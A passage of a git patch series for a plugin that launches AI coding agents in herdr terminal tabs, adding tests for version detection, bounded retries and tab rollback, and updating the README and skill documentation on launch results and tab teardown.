+check("detect modern: exit 0", r.returncode == 0)
+check("detect modern: tab create precedes agent start",
+      "tab create" in names and "agent start" in names
+      and names.index("tab create") < names.index("agent start"))
+check("detect modern: no pane move", "pane move" not in names)
+check("detect modern: agent start carries --kind",
+      any("--kind" in a for a in e.call_args("agent start")))
+e.close()
+
+# --- legacy help -> the untouched agent start --workspace + pane move ------ #
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0)},
+        log_argv=True, api=None, help_text=LEGACY_HELP)
+r = e.run("launch", "t", str(e.worktree), "w1")
+names = [n for n, _ in e.calls()]
+check("detect legacy: exit 0", r.returncode == 0)
+check("detect legacy: no tab create", "tab create" not in names)
+check("detect legacy: pane move used", "pane move" in names)
+check("detect legacy: agent start carries --workspace",
+      any("--workspace" in a for a in e.call_args("agent start")))
+check("detect legacy: stdout contract unchanged",
+      r.stdout == "pane=w1:p5\ntab=w1:t9\nmoved=yes\nagent=claude\n")
+e.close()
+
+# --- unrecognizable help -> fail BEFORE any mutation ----------------------- #
+e = Env(modern_cases(), log_argv=True, api=None, help_text=UNKNOWN_HELP)
+r = e.run("launch", "t", str(e.worktree), "w1")
+names = [n for n, _ in e.calls()]
+check("detect unknown: exit 1", r.returncode == 1)
+check("detect unknown: nothing on stdout", r.stdout == "")
+check("detect unknown: diagnostic names both contracts",
+      "--kind/--pane" in r.stderr and "--workspace/--cwd" in r.stderr)
+check("detect unknown: NOTHING was created or started",
+      "tab create" not in names and "agent start" not in names
+      and "pane run" not in names)
+e.close()
+
+
+# ========================================================================== #
+# legacy path (herdr 0.7.0-0.7.4) — output contract must not drift
+# ========================================================================== #
+
 # --- legacy no-selector launch: worker argv is the plugin-qualified skill --- #
 # Guards the shadowing fix: an empty selector takes the legacy path, whose worker
 # argv MUST be `claude -n <session> /work-system:continue` — the qualified form as
 # ONE argv token (a bare `/continue` would be shadowed by a CC built-in/alias).
-e = Env({
-    "agent start": (jsonlib.dumps({"result": {"agent": {"pane_id": "w1:p5"}}}), "", 0),
-    "pane move": (jsonlib.dumps(
-        {"result": {"move_result": {"created_tab": {"tab_id": "w1:t9"}}}}), "", 0),
-}, log_argv=True)
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0)},
+        log_argv=True)
 r = e.run("launch", "t", str(e.worktree), "w1", "", "sess1")  # "" selector = legacy path
 argv = e.logged_argv()
 check("legacy: exit 0", r.returncode == 0)
@@ -205,11 +432,7 @@ def close(self):
 e.close()
 
 # --- success path: stdout contract untouched by any of the above ----------- #
-e = Env({
-    "agent start": (jsonlib.dumps({"result": {"agent": {"pane_id": "w1:p5"}}}), "", 0),
-    "pane move": (jsonlib.dumps(
-        {"result": {"move_result": {"created_tab": {"tab_id": "w1:t9"}}}}), "", 0),
-})
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0)})
 r = e.run("launch", "t", str(e.worktree), "w1")
 check("success: exit 0", r.returncode == 0)
 check("success: stdout contract unchanged",
@@ -218,9 +441,288 @@ def close(self):
 e.close()
 
 
+# ========================================================================== #
+# modern path — native workers (herdr_mode=agent-start)
+# ========================================================================== #
+
+# --- claude (no selector), codex and grok all start through --kind --------- #
+for selector, kind, expect_head, expect_len in (
+    ("", "claude", ["-n", "sess1", "/work-system:continue"], 3),
+    # codex/grok take `-m <model> <bootstrap-prompt>`; the prompt must survive as
+    # exactly ONE word, which is what the length assertion pins down.
+    ("--codex", "codex", ["-m", "gpt-5.6-terra"], 3),
+    ("--grok", "grok", ["-m", "grok-4.5"], 3),
+):
+    started = jsonlib.dumps({"result": {"agent": {"agent": kind, "pane_id": "w1:p7"}}})
+    e = Env(modern_cases(**{"agent start": (started, "", 0)}),
+            log_argv=True, api="modern")
+    r = e.run("launch", "t", str(e.worktree), "w1", selector, "sess1")
+    label = selector or "claude(default)"
+    if kind != "claude" and r.returncode == 3:
+        # The CLI is not installed on this machine — availability is agent-registry's
+        # concern and is covered by its own tests; skip the launch assertions.
+        e.close()
+        continue
+    starts = e.call_args("agent start")
+    check(f"modern {label}: exit 0", r.returncode == 0)
+    check(f"modern {label}: stdout is the stable contract",
+          r.stdout == f"pane=w1:p7\ntab=w1:t7\nmoved=yes\nagent={kv(r.stdout).get('agent')}\n")
+    check(f"modern {label}: moved=yes (dedicated tab, no physical move)",
+          kv(r.stdout).get("moved") == "yes")
+    check(f"modern {label}: exactly one agent start", len(starts) == 1)
+    if starts:
+        a = starts[0]
+        check(f"modern {label}: --kind is exactly the declared kind",
+              a[a.index("--kind") + 1] == kind)
+        check(f"modern {label}: --pane is the tab's root pane",
+              a[a.index("--pane") + 1] == "w1:p7")
+        tail = a[a.index("--") + 1:] if "--" in a else []
+        check(f"modern {label}: the executable word is NOT repeated after --",
+              kind not in tail)
+        check(f"modern {label}: native args keep order and boundaries",
+              tail[:len(expect_head)] == expect_head and len(tail) == expect_len)
+    check(f"modern {label}: no pane move", "pane move" not in [n for n, _ in e.calls()])
+    check(f"modern {label}: tab created with --no-focus",
+          any("--no-focus" in c for c in e.call_args("tab create")))
+    e.close()
+
+# --- tab create receives the glyph-stamped label and the worktree cwd ------ #
+e = Env(modern_cases(), log_argv=True, api="modern")
+r = e.run("launch", "mylabel", str(e.worktree), "w1")
+create = e.call_args("tab create")[0]
+check("modern: tab create targets the worktree",
+      create[create.index("--cwd") + 1] == str(e.worktree))
+check("modern: tab create passes the workspace",
+      create[create.index("--workspace") + 1] == "w1")
+check("modern: agent name stays plain (no glyph)",
+      e.call_args("agent start")[0][2] == "mylabel")
+e.close()
+
+# --- agent_pane_busy is retried, bounded, and ONLY that error -------------- #
+e = Env(modern_cases(**{"agent start": [
+    ("", BUSY_ERR, 1), ("", BUSY_ERR, 1), (AGENT_STARTED, "", 0)]}),
+    log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("busy retry: eventually succeeds", r.returncode == 0 and "moved=yes" in r.stdout)
+check("busy retry: retried exactly until it took", len(e.call_args("agent start")) == 3)
+check("busy retry: the tab was not rolled back", "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
+# --- busy forever -> definitive: nothing started, tab rolled back ---------- #
+e = Env(modern_cases(**{"agent start": ("", BUSY_ERR, 1)}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+closes = e.call_args("tab close")
+check("busy forever: exit 1", r.returncode == 1)
+check("busy forever: bounded (tries+1 attempts, no infinite loop)",
+      len(e.call_args("agent start")) == 4)
+check("busy forever: tab closed exactly once", len(closes) == 1)
+check("busy forever: the closed tab is the one we created",
+      closes and closes[0][2] == "w1:t7")
+check("busy forever: no stdout (caller shows the manual block)", r.stdout == "")
+e.close()
+
+# --- a pre-start rejection is definitive -> rollback, exit 1 --------------- #
+e = Env(modern_cases(**{"agent start": ("", NO_PANE_ERR, 1)}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("definitive start failure: exit 1", r.returncode == 1)
+check("definitive start failure: herdr's own error is relayed",
+      "agent_pane_not_found" in r.stderr)
+check("definitive start failure: tab closed exactly once",
+      len(e.call_args("tab close")) == 1)
+check("definitive start failure: no stale-workspace hint (no --workspace sent)",
+      "is not a valid workspace" not in r.stderr)
+e.close()
+
+# --- a usage error (exit 2, plain text) is definitive too ------------------ #
+e = Env(modern_cases(**{"agent start": ("", "unsupported interactive agent kind: nope", 2)}),
+        log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("usage error: exit 1", r.returncode == 1)
+check("usage error: tab closed exactly once", len(e.call_args("tab close")) == 1)
+check("usage error: the raw text is relayed", "unsupported interactive agent kind" in r.stderr)
+e.close()
+
+# --- an UNRECOGNIZED error is ambiguous: never rolled back, never retried -- #
+weird = jsonlib.dumps({"error": {"code": "agent_start_timeout", "message": "gave up waiting"}})
+e = Env(modern_cases(**{"agent start": ("", weird, 1)}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+d = kv(r.stdout)
+check("ambiguous start: exit 0", r.returncode == 0)
+check("ambiguous start: blocked=unverified is the FIRST key",
+      r.stdout.startswith("blocked=unverified\n"))
+check("ambiguous start: pane/tab/agent reported for inspection",
+      d.get("pane") == "w1:p7" and d.get("tab") == "w1:t7" and d.get("agent") == "claude")
+check("ambiguous start: no moved= key (callers must branch on blocked first)",
+      "moved" not in d)
+check("ambiguous start: the tab is LEFT ALONE", "tab close" not in [n for n, _ in e.calls()])
+check("ambiguous start: tried exactly once (no retry)",
+      len(e.call_args("agent start")) == 1)
+e.close()
+
+# --- pane-id mismatch on a "successful" start is unverified, not rollback -- #
+mismatch = jsonlib.dumps({"result": {"agent": {"pane_id": "w1:pOTHER"}}})
+e = Env(modern_cases(**{"agent start": (mismatch, "", 0)}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("pane mismatch: blocked=unverified", r.stdout.startswith("blocked=unverified\n"))
+check("pane mismatch: exit 0", r.returncode == 0)
+check("pane mismatch: names both panes", "w1:pOTHER" in r.stderr and "w1:p7" in r.stderr)
+check("pane mismatch: tab left alone (something may be running)",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
+# --- a start response with NO pane id is the same mismatch case ------------ #
+e = Env(modern_cases(**{"agent start": ('{"result":{"agent":{}}}', "", 0)}), api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("missing pane id: blocked=unverified", r.stdout.startswith("blocked=unverified\n"))
+e.close()
+
+# --- partial tab create: a pane-less response must not orphan its tab ------ #
+e = Env(modern_cases(**{"tab create": (jsonlib.dumps({"result": {"tab": {"tab_id": "w1:t7"}}}), "", 0)}),
+        log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("partial create: exit 1", r.returncode == 1)
+check("partial create: nothing was started", "agent start" not in [n for n, _ in e.calls()])
+check("partial create: the orphan tab is closed exactly once",
+      len(e.call_args("tab close")) == 1)
+e.close()
+
+# --- an unusable tab create (no ids at all) closes nothing ----------------- #
+e = Env(modern_cases(**{"tab create": ("", jsonlib.dumps(
+    {"error": {"code": "workspace_not_found", "message": "workspace w9 not found"}}), 1)}),
+    log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w9")
+check("failed create: exit 1", r.returncode == 1)
+check("failed create: herdr's error is relayed", "workspace_not_found" in r.stderr)
+check("failed create: stale-workspace hint IS offered here (--workspace was sent)",
+      "HERDR_WORKSPACE_ID=w9 is not a valid workspace" in r.stderr)
+check("failed create: no tab close attempted", "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
+# --- a rollback that cannot be confirmed downgrades to unverified ---------- #
+e = Env(modern_cases(**{
+    "agent start": ("", NO_PANE_ERR, 1),
+    "pane list": (PANE_LIST_STILL, "", 0),   # tab still there after the close
+}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("unconfirmed rollback: exit 0 with blocked=unverified",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+check("unconfirmed rollback: says the tab could not be confirmed closed",
+      "could not confirm" in r.stderr)
+check("unconfirmed rollback: still closed only once", len(e.call_args("tab close")) == 1)
+e.close()
+
+
+# ========================================================================== #
+# modern path — wrapper workers (herdr_mode=pane-run)
+# ========================================================================== #
+
+def kimi_run(cases, log_argv=True):
+    """Run a --kimi launch against a wrapper stub. Returns (env, result) or
+    (env, None) when kimi is not installed here (agent-registry exit 3)."""
+    env = Env(cases, log_argv=log_argv, api="modern")
+    res = env.run("launch", "t", str(env.worktree), "w1", "--kimi", "sess1")
+    if res.returncode == 3:
+        env.close()
+        return None, None
+    return env, res
+
+
+# --- happy path: one pane run, then detection of the expected kind --------- #
+e, r = kimi_run(wrapper_cases())
+if e is not None:
+    runs = e.call_args("pane run")
+    check("wrapper: exit 0", r.returncode == 0)
+    check("wrapper: stdout is the stable contract",
+          kv(r.stdout).get("moved") == "yes" and kv(r.stdout).get("pane") == "w1:p7")
+    check("wrapper: exactly one pane run", len(runs) == 1)
+    if runs:
+        # `pane run <PANE> <COMMAND>` — the whole wrapper must arrive as ONE word,
+        # not re-split or re-quoted by the launcher.
+        check("wrapper: the command is a single argv word", len(runs[0]) == 4)
+        cmd = runs[0][3]
+        check("wrapper: the registry's argv_shell is sent verbatim",
+              cmd.startswith("sh -c ") and "exec kimi -c --auto" in cmd)
+        check("wrapper: no agent start on this path",
+              "agent start" not in [n for n, _ in e.calls()])
+    check("wrapper: waited for the shell prompt before typing",
+          len(e.call_args("pane process-info")) >= 1)
+    check("wrapper: the tab was not rolled back",
+          "tab close" not in [n for n, _ in e.calls()])
+    e.close()
+
+# --- detection never sees the worker -> unverified, no retry, tab kept ----- #
+e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get(), "", 0)}))
+if e is not None:
+    check("wrapper timeout: exit 0 with blocked=unverified",
+          r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+    check("wrapper timeout: bounded polling", len(e.call_args("pane get")) == 3)
+    check("wrapper timeout: the command was sent exactly once (no second start)",
+          len(e.call_args("pane run")) == 1)
+    check("wrapper timeout: the tab is left for inspection",
+          "tab close" not in [n for n, _ in e.calls()])
+    e.close()
+
+# --- a DIFFERENT kind is detected -> unverified, not success --------------- #
+e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get("claude"), "", 0)}))
+if e is not None:
+    check("wrapper wrong kind: blocked=unverified", r.stdout.startswith("blocked=unverified\n"))
+    check("wrapper wrong kind: names what was detected",
+          "'claude'" in r.stderr and "'kimi'" in r.stderr)
+    check("wrapper wrong kind: stops immediately", len(e.call_args("pane get")) == 1)
+    check("wrapper wrong kind: no rollback", "tab close" not in [n for n, _ in e.calls()])
+    e.close()
+
+# --- the seed-failure marker is DEFINITIVE -> roll the tab back ------------ #
+e, r = kimi_run(wrapper_cases(**{
+    "pane get": (pane_get(), "", 0),
+    "pane read": ("$ sh -c ...\n[work-system] WORKER_SEED_FAILED: kimi seed exited 1 - "
+                  "TASK.md was NOT started and no session was opened.\n$ ", "", 0),
+}))
+if e is not None:
+    check("wrapper seed failure: exit 1", r.returncode == 1)
+    check("wrapper seed failure: names the marker", "WORKER_SEED_FAILED" in r.stderr)
+    check("wrapper seed failure: says TASK.md was not started",
+          "TASK.md was not started" in r.stderr)
+    check("wrapper seed failure: tab closed exactly once",
+          len(e.call_args("tab close")) == 1)
+    check("wrapper seed failure: no stdout", r.stdout == "")
+    e.close()
+
+# --- the shell never reaches a prompt -> nothing typed, tab rolled back ---- #
+e, r = kimi_run(wrapper_cases(**{"pane process-info": (SHELL_BUSY, "", 0)}))
+if e is not None:
+    check("wrapper shell busy: exit 1", r.returncode == 1)
+    check("wrapper shell busy: nothing was typed into the pane",
+          "pane run" not in [n for n, _ in e.calls()])
+    check("wrapper shell busy: tab closed exactly once",
+          len(e.call_args("tab close")) == 1)
+    check("wrapper shell busy: bounded wait", len(e.call_args("pane process-info")) == 3)
+    e.close()
+
+# --- an unreadable readiness answer degrades to "proceed", not to a block -- #
+e, r = kimi_run(wrapper_cases(**{"pane process-info": ("not json at all", "", 0)}))
+if e is not None:
+    check("wrapper readiness unknown: still launches", r.returncode == 0)
+    check("wrapper readiness unknown: asked once, then proceeded",
+          len(e.call_args("pane process-info")) == 1)
+    e.close()
+
+# --- pane run itself is rejected -> definitive, tab rolled back ------------ #
+e, r = kimi_run(wrapper_cases(**{
+    "pane run": ("", jsonlib.dumps(
+        {"error": {"code": "pane_not_found", "message": "pane w1:p7 not found"}}), 1)}))
+if e is not None:
+    check("wrapper run rejected: exit 1", r.returncode == 1)
+    check("wrapper run rejected: tab closed exactly once",
+          len(e.call_args("tab close")) == 1)
+    check("wrapper run rejected: never polled for detection",
+          "pane get" not in [n for n, _ in e.calls()])
+    e.close()
+
+
 if FAILS:
     print("FAIL:")
     for f in FAILS:
         print("  -", f)
     sys.exit(1)
-print("herdr-launch.sh (herdr_diag): all tests passed")
+print("herdr-launch.sh: all tests passed")

From 5f7f93fc442f5bfee5f3c4fe6a674e2871a19104 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Tue, 11 Aug 2026 15:47:08 +0200
Subject: [PATCH 03/12] Teach the skills the unverified launch result and
 shell-pane lifecycle
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

/kickoff now branches on `blocked=unverified` FIRST — inspect the tab,
never relaunch, never print the manual command, never persist a project
default — then moved=yes, legacy moved=no, selector errors, and generic
failures. /adopt points at that one ordering instead of restating it.

Also correct the lifecycle claims: on herdr 0.7.5+ the kickoff worker
runs inside a shell pane, so a clean /exit does NOT close the tab. The
armed marker plus the SessionEnd hook is the primary teardown there, not
a safety net. No teardown behavior changes — both scenarios already work
through the pane id and the marker.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 plugins/work-system/README.md                 | 51 ++++++++++++------
 plugins/work-system/scripts/herdr-launch.sh   |  8 ++-
 plugins/work-system/scripts/herdr-teardown.sh | 14 +++--
 plugins/work-system/skills/adopt/SKILL.md     | 19 ++++---
 plugins/work-system/skills/close/SKILL.md     | 15 +++---
 plugins/work-system/skills/continue/SKILL.md  |  6 ++-
 plugins/work-system/skills/kickoff/SKILL.md   | 54 +++++++++++--------
 7 files changed, 107 insertions(+), 60 deletions(-)

diff --git a/plugins/work-system/README.md b/plugins/work-system/README.md
index 5534680..9c4546d 100644
--- a/plugins/work-system/README.md
+++ b/plugins/work-system/README.md
@@ -256,16 +256,30 @@ keeps the original branch name rather than renaming it to `task/<name>`:
   names the herdr agent (and, for a claude worker, the `-n` session); the task's
   branch — `task/<name>` from `/kickoff`, or the original branch `/adopt` kept — is
   unchanged, so the resume flow still resolves the task.
-- The chosen worker is launched directly as argv (`herdr agent start … --
-  <resolved worker command>`), so the real CLI process is what herdr's agent-state
-  detection sees. A claude worker gets `claude --model <m> -n "<label>" "/work-system:continue"`
-  and loads the task context automatically; a codex/grok/kimi worker gets a bootstrap
-  prompt (read `TASK.md`, drive the task to a PR) since they have no work-system skills.
-  A kimi worker's pane roots at a short `sh -c` wrapper that `exec`s into kimi, so
-  what herdr ends up watching is the real kimi process.
+- The real CLI process is what herdr's agent-state detection ends up watching. A
+  claude worker gets `claude --model <m> -n "<label>" "/work-system:continue"` and
+  loads the task context automatically; a codex/grok/kimi worker gets a bootstrap
+  prompt (read `TASK.md`, drive the task to a PR) since they have no work-system
+  skills. A kimi worker runs behind a short `sh -c` wrapper that `exec`s into kimi.
+- **How** the worker reaches herdr depends on the herdr version, which the launcher
+  feature-detects from `herdr agent start --help` (never from a version number —
+  the change landed mid-0.7.x). On **0.7.5+ / 0.8** `agent start` needs an
+  already-open pane, so the task's tab is created first and the worker started in
+  its root pane (`agent start <label> --kind <cli> --pane <id> -- <args>`), with
+  herdr's `agent_pane_busy` — the shell still running its rc files — retried within
+  a bounded window. On **0.7.0–0.7.4** the old `agent start --workspace --cwd -- …`
+  plus `pane move --new-tab` sequence is kept unchanged. If neither contract is
+  recognizable, nothing is created and you get the manual command instead.
+- If a launch can't be **confirmed** (the worker never became detectable, an
+  unclassifiable herdr error, a pane-id mismatch), the tab is left in place and the
+  skill tells you to look at it rather than launching a second worker onto the same
+  worktree. Failures that provably started nothing roll their tab back instead, so a
+  retry loop can't leave a trail of blank tabs.
 - The new tab opens in the background (`--no-focus`), so the session you launched
   from (`/kickoff` or `/adopt`, in the main repo) stays in front; switch to the tab
-  when you're ready to work there.
+  when you're ready to work there. On 0.7.5+ the worker lives inside that tab's
+  shell, so `/exit` returns you to a shell rather than closing the tab — `/close`'s
+  marker + `SessionEnd` hook handle teardown.
 
 ### `/close` tears down the task's tab
 
@@ -281,25 +295,30 @@ and decides self-close vs. a different-tab close by pane id. Two entry points:
   than leaving a silent orphan.
 - **From inside the worktree tab**: Claude cannot close its own tab, only exit
   cleanly. So `/close` focuses the main tab and arms a **detached `/exit`** that
-  fires once the turn ends — Claude exits cleanly, its tab auto-closes, and
-  you land back in the main session, hands-free. (The injector polls until the
+  fires once the turn ends — Claude exits cleanly, the armed marker + `SessionEnd`
+  hook close its tab, and you land back in the main session, hands-free. (The injector polls until the
   prompt is idle before delivering the exit; injecting into a busy TUI is
   unreliable.) If herdr injection isn't available it instead asks you to press
   **Ctrl+D**. Because a self-close fires *after* the turn and can't be confirmed
   in-turn, `/close` always prints the tab id as a fallback — if the tab lingers,
   close it by hand.
 
-For the self-close path a `SessionEnd` hook ships with the plugin as a backup: it
-closes the tab on a clean exit, but only when `/close` wrote a short-lived per-pane
-marker file (under `$HOME/.cache`), so it never fires on an ordinary session exit.
+A `SessionEnd` hook ships with the plugin for that path: it closes the tab on a
+clean exit, but only when `/close` wrote a short-lived per-pane marker file (under
+`$HOME/.cache`), so it never fires on an ordinary session exit. On herdr 0.7.5+ the
+hook is the *primary* mechanism, not a backup — `agent start` needs an existing
+pane, so a kickoff worker runs **inside** a shell pane and its exit drops back to
+that shell instead of ending the tab.
 All of this lives in the tested `scripts/herdr-teardown.sh`; see
 `skills/close/SKILL.md` step 12 for the flow.
 
 ### `/work-system:continue <task>` reopens a closed task tab
 
-A kickoff tab runs Claude as its **root pane**, so a bare `/exit` (even just to
-restart Claude Code) ends that pane and herdr closes the whole tab — the worktree
-and the resumable session survive, but you lose your place. Run
+A bare `/exit` (even just to restart Claude Code) costs you your place: on herdr
+0.7.0–0.7.4 the kickoff worker is the tab's **root pane**, so the exit closes the
+whole tab; on 0.7.5+ it runs inside a shell pane, so the exit leaves a bare shell
+sitting in the worktree. Either way the worktree and the resumable session survive.
+Run
 `/work-system:continue <task>` **from the main session** to get it back (use the
 plugin-qualified form — a Claude Code built-in `/continue` shadows the bare skill
 name): it reopens a herdr tab
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index ece2e0a..2b7e700 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -47,8 +47,12 @@
 #                         shell (not as the root pane), a later /exit drops back to
 #                         the shell and the TAB SURVIVES — this is the /exit
 #                         hardening. Used to recover a task tab that a bare /exit
-#                         closed (kickoff tabs are root-pane Claude, so /exit closes
-#                         them). `claude -c` continues the most-recent session for
+#                         closed — which is what happens to a LEGACY kickoff tab,
+#                         where the worker is the tab's root pane. A modern kickoff
+#                         tab already runs its worker inside a shell pane, so there
+#                         /exit leaves a bare shell and this mode simply reuses (and
+#                         re-`claude -c`s) that tab.
+#                         `claude -c` continues the most-recent session for
 #                         the worktree cwd; since each worktree hosts exactly one
 #                         task, the cwd already identifies the session unambiguously
 #                         — no session id needs stashing at kickoff.
diff --git a/plugins/work-system/scripts/herdr-teardown.sh b/plugins/work-system/scripts/herdr-teardown.sh
index ad39725..f7217d9 100644
--- a/plugins/work-system/scripts/herdr-teardown.sh
+++ b/plugins/work-system/scripts/herdr-teardown.sh
@@ -50,11 +50,15 @@
 #                               (verified live): `herdr pane run <pane> "/exit"`
 #                               does nothing to Claude's TUI (it targets a shell),
 #                               and `send-keys ctrl+d` does not exit either — only
-#                               this text+Return pair triggers a clean exit. When
-#                               Claude is the tab's root pane (kickoff launches it
-#                               via `agent start -- claude`), that clean exit also
-#                               auto-closes the tab, so the SessionEnd hook is a
-#                               safety net, not the primary close.
+#                               this text+Return pair triggers a clean exit. Whether
+#                               that also closes the TAB depends on the herdr the
+#                               worker was launched under: on legacy herdr the worker
+#                               is the tab's root pane, so the exit closes the tab
+#                               too; on 0.7.5+ `agent start` needs an existing pane,
+#                               so the worker runs INSIDE a shell and the exit only
+#                               drops back to that shell. The armed marker +
+#                               SessionEnd hook is therefore the primary close, not a
+#                               safety net — never assume the exit alone did it.
 #   self-exit <pane-id> [workspace]
 #                               Scenario B self-close: detach an injector that
 #                               waits for this session to go idle (turn ended),
diff --git a/plugins/work-system/skills/adopt/SKILL.md b/plugins/work-system/skills/adopt/SKILL.md
index e28be2d..5c04bb9 100644
--- a/plugins/work-system/skills/adopt/SKILL.md
+++ b/plugins/work-system/skills/adopt/SKILL.md
@@ -174,14 +174,17 @@ The Bash tool persists CWD between calls — a bare `cd .claude/worktrees/<task>
     ```
 
     This is the **same helper and call `/kickoff` uses** — the single source of truth
-    for selector resolution, argv-launch, tab-move, and exit codes. **Branch on its
-    result exactly as `skills/kickoff/SKILL.md` step 13a describes** (exit 0 `moved=yes`
-    → new background tab; `moved=no` → running as a split in *this* tab, relay the
-    helper's stderr; the `OFFER_DEFAULT=yes` → `bash "$REG" default set "<agent>"`
-    persistence after a successful launch; exit 2 unknown selector → re-offer the
-    picker; exit 3 unavailable agent → report `unavailable=`/`note=` verbatim, re-offer;
-    other non-zero → relay stderr, then the manual block). Do not re-implement that
-    branching here — following one copy keeps adopt and kickoff from drifting.
+    for selector resolution, the herdr launch transport, rollback, and exit codes.
+    **Branch on its result exactly as `skills/kickoff/SKILL.md` step 13a describes,
+    in that order** (exit 0 `blocked=unverified` FIRST → a tab exists but the launch is
+    unconfirmed: send the user to inspect it, and do not relaunch, print the manual
+    command, or save a default; then `moved=yes` → new background tab; `moved=no` →
+    running as a split in *this* tab, relay the helper's stderr; the
+    `OFFER_DEFAULT=yes` → `bash "$REG" default set "<agent>"` persistence only after a
+    confirmed launch; exit 2 unknown selector → re-offer the picker; exit 3 unavailable
+    agent → report `unavailable=`/`note=` verbatim, re-offer; other non-zero → relay
+    stderr, then the manual block). Do not re-implement that branching here — following
+    one copy keeps adopt and kickoff from drifting.
 
     Success report (adopt keeps the *adopted* branch name — use `<current-branch-name>`,
     which is `task/<task-name>` only if step 8 renamed it):
diff --git a/plugins/work-system/skills/close/SKILL.md b/plugins/work-system/skills/close/SKILL.md
index 9bf15c2..7bfe5a9 100644
--- a/plugins/work-system/skills/close/SKILL.md
+++ b/plugins/work-system/skills/close/SKILL.md
@@ -338,15 +338,18 @@ Rules:
        an **idle** prompt, the state in which it exits cleanly (verified live), never
        mid-turn. (`herdr pane run "/exit"` does nothing to Claude's TUI and `ctrl+d`
        doesn't exit either — only `send-text "/exit"` + `Return` onto an idle prompt
-       works, which is what the injector does.) Claude's clean exit **auto-closes**
-       its (root-pane) tab; the marker + `SessionEnd` hook from step 2 are the backup
-       for sessions whose tab does not auto-close (e.g. Claude launched inside a
-       shell pane).
+       works, which is what the injector does.) What closes the **tab** is the marker
+       + `SessionEnd` hook from step 2 — do not assume the exit alone does it. On
+       herdr 0.7.5+ `/kickoff` starts the worker **inside a shell pane** (herdr's
+       `agent start` requires an existing pane), so a clean exit drops back to that
+       shell and the tab stays open; only on legacy herdr, where the worker was the
+       tab's root process, does the exit also auto-close the tab. The hook covers
+       both, which is why step 2 is not optional.
        - **B-hook (fallback):** if `self-exit` can't run (`herdr` injection
          unavailable / non-zero exit), do **not** inject — tell the user: "Cleanup
          done, main tab focused — press **Ctrl+D** (or type `/exit`) to close this
-         finished tab (`$WT_TAB`)." The same auto-close + hook tear it down on that
-         manual clean exit. Never defer a tab-close to a SIGHUP/idle kill — that
+         finished tab (`$WT_TAB`)." The armed marker + hook tear it down on that
+         manual clean exit (and on legacy herdr the root-pane exit does too). Never defer a tab-close to a SIGHUP/idle kill — that
          risks a corrupt transcript / broken `--resume`. (This line already names the
          tab, so item 5 does **not** apply to the B-hook path.)
     5. **After B-inject, name the tab (verification fallback).** A self-close fires
diff --git a/plugins/work-system/skills/continue/SKILL.md b/plugins/work-system/skills/continue/SKILL.md
index 8e4dbc9..696a9fb 100644
--- a/plugins/work-system/skills/continue/SKILL.md
+++ b/plugins/work-system/skills/continue/SKILL.md
@@ -19,8 +19,10 @@ user_invocable: true
   progress; keep working here. (Steps 1–7 under "In-session resume".)
 - **From the main session with a `<task>` argument** → *reopen*: open the task's
   herdr tab at its worktree and resume its Claude session there (`claude -c`), then
-  focus it — recovering a task tab that a bare `/exit` closed (kickoff tabs run
-  Claude as the root pane, so `/exit` closes them). ("Reopen mode" below.)
+  focus it — recovering a task tab that a bare `/exit` closed (on legacy herdr the
+  worker IS the tab's root pane, so `/exit` closes the tab; on herdr 0.7.5+ it runs
+  inside a shell pane, so `/exit` leaves a bare shell there instead). ("Reopen mode"
+  below.)
 
 **Pick the mode first.** Resolve names through `task-status.sh` so a `task/`-prefixed
 or aliased argument is normalized the SAME way worktree directories are named (they use
diff --git a/plugins/work-system/skills/kickoff/SKILL.md b/plugins/work-system/skills/kickoff/SKILL.md
index 9c22680..78941a5 100644
--- a/plugins/work-system/skills/kickoff/SKILL.md
+++ b/plugins/work-system/skills/kickoff/SKILL.md
@@ -193,35 +193,47 @@ is a per-repo committed file (`.claude/work-system-agent`), set via
     bash "${CLAUDE_PLUGIN_ROOT}/scripts/herdr-launch.sh" launch "$LABEL" "$WORKTREE" "$HERDR_WORKSPACE_ID" "$SELECTOR"
     ```
 
-    The helper resolves `SELECTOR` through the registry and spawns the worker as
-    **argv** (`herdr agent start … -- <resolved worker argv>`) — execing the binary
-    directly instead of typing into a fresh shell, which structurally avoids the
-    shell-startup keystroke race — then moves the agent into its own background tab.
-    It is the **single source of truth** for the launch (resolution, robust JSON
-    parsing, graceful fallback, exit codes); do not re-implement the herdr commands
-    or the resolution inline. Branch on its result:
+    The helper resolves `SELECTOR` through the registry, feature-detects which
+    `agent start` contract this herdr speaks, and opens the worker's own background
+    tab — on herdr 0.7.5+ by creating the tab first and starting the worker in its
+    root pane, on older herdr by spawning the agent and moving it. Either way the
+    worker never has to survive a shell-startup keystroke race. It is the **single
+    source of truth** for the launch (resolution, transport, robust JSON parsing,
